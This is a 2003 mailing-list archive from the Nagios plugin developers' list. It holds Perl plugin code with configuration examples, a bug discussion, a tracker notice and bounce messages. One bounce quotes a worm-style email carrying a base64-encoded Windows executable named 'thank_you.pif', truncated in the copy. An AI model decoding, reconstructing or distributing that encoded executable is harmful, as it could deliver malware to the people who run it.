# if 0 don't pass data or exit status to nagios # CHECKME - include your path to libexec here. # set the path explicitly even though the command names should # be absolute path names. $ENV{'PATH'} = "$LIBEXECDIR:$ENV{'PATH'}"; sub help { my ($short, $exitcode) = @_; $exitcode = 10 if ! defined $exitcode; print_revision('sec_filter', '$Rev: 1.0$') if ! defined $short; print STDERR << "EOH"; Usage: $0 [-p|-i] [-D] [-O ] [-t ] -H -s $0 -h|-V -H (--hostname) - the name of the device being monitored. -s (--service) - the name of the service being monitored. -p (--pass) - pass output and exit status of nagios_cmd to nagios (default). -i (--ignore) - ignore output/exit status of nagios_command. -O (--output) - output file to write entry to. This is sec's input file. -t (--timeout) - timeout period in seconds. (not yet implemented) -D (--debug) - don't execute nagios cmd, just echo command line parsing. -h (--help) - present help message and exit. -V (--version) - print version of plugin and nagios and exit. a nagios command line. EOH exit $exitcode if defined $short; print STDERR << "EOH"; This command allows you to poll for the status of various items and allow that data to be filtered through the sec (simple event correlation ) tool. It does this by sending a properly formatted nagios external command file entry including the standard output and exit status of the nagios_cmd to the file $opt_O or specified by -O. This file should be monitored by sec, and sec can then send a passive event to nagios by writing to the external command file. If the -p flag or --pass (or neither of the -i or -p varients) are specified, this program will print the output from nagios_cmd and exit with the same exit code as nagios_cmd. If the -i flag, --ignore or --nopass options are specified, this program will exit with error code 4 preserving the current status of the monitored entity (note this requires a patched nagios, see below). It is then up to sec to generate a passive status message for the device and service of interest. A sample nagios command definition entry in checkcommands.cfg would be: define command{ command_name check_http_correlation command_line \$USER1\$/sec_filter -H \$HOSTNAME\$ -s \$ARG1\$ \ \$USER1\$/check_http -H \$HOSTADDRESS\$ \$ARG2\$ } (Note lines wrapped to stay under 80 characters.) With an entry in the services.cfg file like: define service{ use generic-service host_name hosta,hostb,hostc service_description HTTP check_command check_http_correlation!HTTP -nopass!-c 8 -w 4 \ -u http://127.0.0.1:80/index.html } (Note lines wrapped to stay under 80 characters.) This will divert the output from the check_http to sec. Then sec can be used to: filter out warnings based on time of day. filter out warnings based on other operations occurring (e.g suppress the warning if sec has been told (say by arival of a trap) that an index operation is occurring.) provide more extensive flap detection including time based flap detection. E.G. disable flap detection on a host if it is its normal software load/reboot time. reset an error state (if used with -p) if it is later determined to not be an error. raise an alert if any two (three ..) events occur in a specific order, or if they occur in any order. implement flap detetion according to user/device assigned rules. The format of the messages given to sec allows them to be put directly in the external command file if they should not be suppressed. Note that this command needs a patched version of nagios to be of any use. The exit code of 5 (OK_IGNORE) or 6 (ERROR_IGNORE) must prevent nagios from changing the state of the polled service. You should also configure a service on your nagios host called sec with the following options: define service{ host_name [nagioshost] service_description sec check_command ping_sec max_check_attempts 1 normal_check_interval [#] retry_check_interval [#] active_checks_enabled 0 passive_checks_enabled 1 check_period [timeperiod_name] check_freshness 1 freshness_threshold [#] notification_interval [#] notification_period [timeperiod_name] notification_options [w,u,c,r] contact_groups contact_groups } anything in [] needs to be filled in according to your site's configuration. I suggest a 5 minute (300 second) freshness_threshold. Define the ping_sec command defined in the checkcommand.cfg file using: define command { command_name ping_sec command_line \$USER1\$/ping_sec \$HOSTNAME\$ \$SERVICESTATE\$ } and ping_sec is the following shell script: #! /bin/sh PATH=/bin:/usr/bin:/usr/ucb echo "[`date +%s`] PROCESS_SERVICE_CHECK_RESULT;\$1;sec;0;sec is running" \ > /path/to/nagios_to_sec if [ "\$2" -ne 3 ]; then echo "Submitting passive check to sec" exit 3 else echo "Sec failed to respond" exit 2 fi This is what I would like to do. Your nagios may not support substituting \$SERVICESTATE\$ in service check definitions. If not, then you may have to keep some state by touching a file or something to see if you have been called twice in a small time period. If sec is working, it should be submitting a passive ok result shortly after this, this should reset the state to ok, and if the script gets called again, it will restart from the ok state. If it is called in an unknown state, it will report sec down. Then add a rule to sec that will submit this check line directly back to nagios. This rule reads: type=single continue=dontcont ptype=substr pattern=PROCESS_SERVICE_CHECK_RESULT;nagioshost;sec;0;sec is running desc=Check message from nagios to see if I am running action=write /nagios/external/command/file \$0 This will have sec submit a passive check result saying that it is ok. Make sure sec has a timed rule to sec that will trigger one minute before the freshness threshold by using the calendar rule (assuming a 5 minute freshness interval in nagios): type=calendar time= 1,5,9,13,17,21,25,29,33,37,41,45,49,53,57 * * * * * desc=Trigger keepalive message to nagios action=shell /bin/echo "[`date +%s`] PROCESS_SERVICE_CHECK_RESULT;nagioshost;sec;0;sec is running" >> /nagios/external/command/file EOH support() if ! defined $short; exit $exitcode; } sub lock { flock(SECINPUT, LOCK_EX); # and, in case someone appended # while we were waiting... seek(SECINPUT, 0, 2); } sub unlock { flock(SECINPUT,LOCK_UN); } our ($cmd, $cmd_exit, $msg); our ($datetime); # parse command options our ($opt_D, $opt_H, $opt_h, $opt_i, $opt_p, $opt_s, $opt_V, $opt_t); ($opt_D, $opt_H, $opt_h, $opt_i, $opt_p, $opt_s, $opt_V, $opt_t) = undef; Getopt::Long::Configure('bundling', 'require_order', 'pass_through'); GetOptions ("H=s" => \$opt_H, "hostname=s" => \$opt_H, "s=s" => \$opt_s, "service=s" => \$opt_s, "p" => \$opt_p, "pass!" => \$opt_p, "i" => \$opt_i, "ignore" => \$opt_i, "O=s" => \$opt_O, "output" => \$opt_O, "h" => \$opt_h, "help" => \$opt_h, "t=i" => \$opt_t, "timeout=i" => \$opt_t, "D" => \$opt_D, "debug" => \$opt_D, "V" => \$opt_V, "version" => \$opt_V, ); # handle information requests help() if $opt_h; print_revision('sec_filter', '$Rev: 1.0$'), exit $ERRORS{'OK'} if $opt_V; # sanity check arguments # do we have any command arguments? print(STDERR "\nMissing .\n"), help('short') if $#ARGV == -1; # If we have an option first in @ARGV, we have # an error by definition. print(STDERR "\nUnrecognized option $ARGV[0].\n"), help('short') if $ARGV[0] =~ /^-/; # Check to see if the argument starts with a / and we can stat the # first non gobbled argument. If not then we have an error in # parsing. print(STDERR "\nCommand path $ARGV[0] is not absolute.\n"), help('short') if $ARGV[0] !~ m#^/#; print(STDERR "\nUnable to find command $ARGV[0].\n"), help('short') if ! -f $ARGV[0]; print(STDERR "\nMissing -H hostname.\n"), help('short') if ! $opt_H; print(STDERR "\nMissing -s service.\n"), help('short') if ! $opt_s; print(STDERR "\nOnly one of -p or -i can be specified.\n"), help('short') if $opt_i && $opt_p; # check for access to sec input (our output) file. print(STDERR "Unable to write to or find output file $opt_O.\n"), help('short', $ERRORS{'CRITICAL'}) if ! -w $opt_O ; # process options # error is already generated if both $opt_i and $opt_p are set. $passthrough = $opt_p if defined $opt_p; $passthrough = 0, if $opt_i; $opt_t = $utils::TIMEOUT if ! defined $opt_t; # default timeout $SIG{'ALRM'} = sub { print "sec_filter svc=$opt_s timeout: No response from command $ARGV[0]\n"; exit $ERRORS{'UNKNOWN'}; }; alarm($opt_t); $cmd = join(' ', @ARGV); if (! $opt_D) { $msg = `$cmd 2>&1`; $cmd_exit = $? >> 8; $msg = "Command $cmd returned out of bound exit code $cmd_exit.", $cmd_exit=3 if ($cmd_exit < 0 || $cmd_exit > 3); } $datetime=time(); $SIG{'ALRM'} = sub { print "sec_filter svc=$opt_s timeout: while accessing in output file\n"; exit $ERRORS{'UNKNOWN'}; }; alarm($opt_t); if ( ! $opt_D ) { open(SECINPUT, ">> $opt_O") or die "Can't open $opt_O: $!"; lock(); print SECINPUT "[$datetime] PROCESS_SERVICE_CHECK_RESULT;$opt_H;$opt_s;$cmd_exit;$msg"; unlock(); close(SECINPUT); } else { $msg = "host=$opt_H, svc=$opt_s passdata=$passthrough nagios_cmd=$cmd\n"; $cmd_exit = $ERRORS{'UNKNOWN'}; print STDOUT "[$datetime] PROCESS_SERVICE_CHECK_RESULT;$opt_H;$opt_s;$cmd_exit;$msg"; } if ($passthrough) { print STDOUT $msg; exit $cmd_exit; } else { if ($cmd_exit == 0) { exit $ERRORS{'IGNORE_OK'} if defined $ERRORS{'IGNORE_OK'}; exit 5; } else { exit $ERRORS{'IGNORE_ERROR'} if defined $ERRORS{'IGNORE_ERROR'}; exit 6; } } From karl at debisschop.net Sun Aug 17 21:44:10 2003 From: karl at debisschop.net (Karl DeBisschop) Date: Sun Aug 17 21:44:10 2003 Subject: [Nagiosplug-devel] check_ping plug-in In-Reply-To: <3F3D39A6.7050202@buzzimage.com> References: <3F3D39A6.7050202@buzzimage.com> Message-ID: <1061180170.1013.4.camel@miles.debisschop.net> On Fri, 2003-08-15 at 15:51, Patrick Boucher wrote: > Running nagios on RedHat 9.0 I noticed a bug with check_ping. > > /bin/ping on RH9.0 outputs all messages on STDOUT and nothing on STDERR > so checks for host unreachable and other error messages never come > through and instead you get an UNKNOWN state instead. Thanks for the report. I'm working on a fix now. > Parsing of the ping output for errors should be moved to the STDOUT loop > and I think the STDERR loop could be safely removed. Do you have evidence that no Unix ping prints output to STDERR? It would seem to me that the STDERR loop needs to remain in order for the plugin to remain generally compatible. Am I missing something? -- Karl From noreply at sourceforge.net Sun Aug 17 23:58:01 2003 From: noreply at sourceforge.net (SourceForge.net) Date: Sun Aug 17 23:58:01 2003 Subject: [Nagiosplug-devel] [ nagiosplug-New Plugins-790394 ] New plugin: check_mailq_postfix Message-ID: New Plugins item #790394, was opened at 2003-08-18 06:57 Message generated for change (Tracker Item Submitted) made by Item Submitter You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=541465&aid=790394&group_id=29880 Category: Application monitor Group: None Status: Open Resolution: None Priority: 5 Submitted By: Jacob FS (frizo) Assigned to: Nobody/Anonymous (nobody) Summary: New plugin: check_mailq_postfix Initial Comment: Usage: check_mailq_postfix -w -c Usage: check_mailq_postfix --help Usage: check_mailq_postfix --version Checks the number of messages in the Postfix mail queue. WARNING = Minimum number of messages in queue to generate warning. CRITICAL = Minimum number of messages in queue to generate critical alert. WARNING must be lower than CRITICAL. check_mailq_postfix by Jacob Friis Larsen ---------------------------------------------------------------------- You can respond by visiting: https://sourceforge.net/tracker/?func=detail&atid=541465&aid=790394&group_id=29880 From securite at coopanet.com Tue Aug 19 02:57:01 2003 From: securite at coopanet.com (securite at coopanet.com) Date: Tue Aug 19 02:57:01 2003 Subject: [Nagiosplug-devel] E-mail filtré par eManager - Voltaire (Attachment Removal) Message-ID: <200308190956.h7J9u0U13844@voltaire.coopanet.com> **************** eManager Notification ***************** The following mail was blocked since it contains sensitive content. Source mailbox: Destination mailbox(es): Policy: Attachment Removal Attachment file name: thank_you.pif - application/octet-stream Action: Replaced with text eManager a retir? du mail une pi?ce jointe sensible ******************* End of message ********************* -------------- next part -------------- Received: from ([198.141.198.254]) by terminator; Tue, 19 Aug 2003 11:55:52 +0200 (CEST) From: To: Subject: Re: Wicked screensaver Date: Tue, 19 Aug 2003 11:58:06 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_00919837" From MAILER-DAEMON at gateway3e.dhl.com Tue Aug 19 02:57:09 2003 From: MAILER-DAEMON at gateway3e.dhl.com (Mail Delivery Subsystem) Date: Tue Aug 19 02:57:09 2003 Subject: [Nagiosplug-devel] Returned mail: see transcript for details Message-ID: <200308190956.h7J9uifL002425@gateway3e.dhl.com> The original message was received at Tue, 19 Aug 2003 09:56:42 GMT from cdgsvcontw00407.cdg-co.fr.dhl.com [198.141.111.8] ----- The following addresses had permanent fatal errors ----- <3F1D26B1.D6275B5B at dhl.com> (reason: 550 5.1.1 <3F1D26B1.D6275B5B at dhl.com>... User unknown) ----- Transcript of session follows ----- ... while talking to gateway3.dhl.com.: >>> RCPT To:<3F1D26B1.D6275B5B at dhl.com> <<< 550 5.1.1 <3F1D26B1.D6275B5B at dhl.com>... User unknown 550 5.1.1 <3F1D26B1.D6275B5B at dhl.com>... User unknown -------------- next part -------------- An embedded message was scrubbed... From: Subject: Re: Wicked screensaver Date: Tue, 19 Aug 2003 11:58:56 +0200 Size: 100887 URL: From Mailer-Daemon at lists.sourceforge.net Tue Aug 19 02:58:14 2003 From: Mailer-Daemon at lists.sourceforge.net (Mail Delivery System) Date: Tue Aug 19 02:58:14 2003 Subject: [Nagiosplug-devel] Mail delivery failed: returning message to sender Message-ID: This message was created automatically by mail delivery software (Exim). A message that you sent could not be delivered to one or more of its recipients. This is a permanent error. The following address(es) failed: save to /var/spool/exim/rejects/embeddedmimeattachement generated by message filter failed to lock mailbox /var/spool/exim/rejects/embeddedmimeattachement (lock file): retry timeout exceeded nagios-users at lists.sourceforge.net This message has been rejected because it has a potentially executable attachment "thank_you.pif" This form of attachment has been used by recent viruses or other malware. If you meant to send this file then please package it up as a zip file and resend it. If you didn't mean to send this file, and you are using microsoft outlook, you are probably infected. Please stop using outlook, it is inherently insecure and you are generating lots of wasted bandwidth and support headackes by using it, and you are jeopardizing your files and your data Please seriously consider using another mail client ------ This is a copy of the message, including all the headers. ------ ------ The body of the message is 100063 characters long; only the first ------ 10240 or so are included here. Return-path: Received: from lhr254b.dhl.com ([198.141.198.254] helo=CDGCONTW00407) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19p3F0-0006Lp-00 for ; Tue, 19 Aug 2003 02:57:26 -0700 From: To: Subject: Re: Details Date: Tue, 19 Aug 2003 11:59:40 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_009307B5" Message-Id: This is a multipart message in MIME format --_NextPart_000_009307B5 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Please see the attached file for details. --_NextPart_000_009307B5 Content-Type: application/octet-stream; name="thank_you.pif" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="thank_you.pif" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA4AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAADToEjPl8EmnJfBJpyXwSacFN0onI3BJpx/3iyc7cEmnMHeNZyawSacl8Em nJTBJpyXwSecBsEmnPXeNZyawSacf94tnI3BJpxSaWNol8EmnAAAAAAAAAAAAAAAAAAAAABQRQAA TAEEAF2zPz8AAAAAAAAAAOAADwELAQYAAAAAAABwAAAAAAAA1usBAAAQAAAAYAEAAABAAAAQAAAA AgAABAAAAAAAAAAEAAAAAAAAAAAAAgAAEAAAF/EBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAA AAAAAAAAAAAAAOLrAQCcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAfuwBAAgAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAgAC5zaHJpbmsAAFABAAAQAAAAxAAAABAAAAAAAAAAAAAAAAAAAEAAAMAu c2hyaW5rAAAwAAAAYAEAABIAAADUAAAAAAAAAAAAAAAAAABAAADALnNocmluawAAQAAAAJABAAAS AAAA5gAAAAAAAAAAAAAAAAAAQAAAwC5zaHJpbmsAADAAAADQAQAAIgAAAPgAAAAAAAAAAAAAAAAA AEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 